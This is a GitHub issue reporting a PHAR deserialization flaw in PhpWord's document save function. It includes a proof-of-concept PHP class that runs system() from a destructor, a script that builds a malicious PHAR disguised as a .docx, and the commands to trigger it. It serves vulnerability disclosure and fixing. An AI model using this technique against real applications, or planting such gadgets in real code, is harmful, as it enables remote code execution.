-
Notifications
You must be signed in to change notification settings - Fork 2.7k
Description
Describe the Bug
PhpWord is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() and unlink() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when PhpWord is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code (Currently working on PhpWord gadget chain). If user can control the output file from the $objWriter->save(); function, it will invoke deserialization. We already reported on huntr.dev medium here.
Steps to Reproduce
Install PhpWord using composer like composer require phpoffice/phpword. After that, in the directory, create an index.php file with this vulnerable code.
<?php
require_once './vendor/autoload.php';
use PhpOffice\PhpWord\IOFactory;
use PhpOffice\PhpWord\Settings;
// vulnerable object
class VulnerableClass {
public $args;
function __destruct() {
system($this->args);
}
}
\PhpOffice\PhpWord\Settings::setZipClass(Settings::PCLZIP);
$phpWord = new \PhpOffice\PhpWord\PhpWord();
$phpWord->setDefaultFontName('Calibri');
$phpWord->setDefaultFontSize(12);
$section = $phpWord->addSection();
// $section->addImage("https://google.com");
$objWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'Word2007');
$objWriter->save("phar://poc.docx");Next as an attacker, we are going to generate the malicious phar using this script.
<?php
// generate_phar.php
class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->args = "uname -a > pwned";
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
// Add a new file in the archive with "text" as its content
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
rename("poc.phar", "poc.docx");
?>Then run these command to generate the file and you will see poc.docx will be generated.
php --define phar.readonly=0 generate_phar.phpLastly, execute index.php like so.
php index.phpThen you will see a file named pwned was created.
Expected Behavior
PhpWord does not accept phar wrapper as output filename.
Current Behavior
PhpWord accept phar wrapper as output filename, does invoke deserialization.
Context
- PHP Version: php 7.4
- PHPWord Version: 1.1.0
Impact
This vulnerability is capable of remote code execution if PhpWord is used with frameworks such as Laravel/Codeigniter or developer code with vulnerable POP chains. For now, I still developing gadget chain for PhpWord to increase the reliability.
Suggested Mitigation
To remediate this, consider to remove any protocol from user input since PhpWord does not need phar wrapper.
Credits:
Ahmad Shauqi (nightfury99) of NetbyteSEC SDN BHD (NetbyteSEC)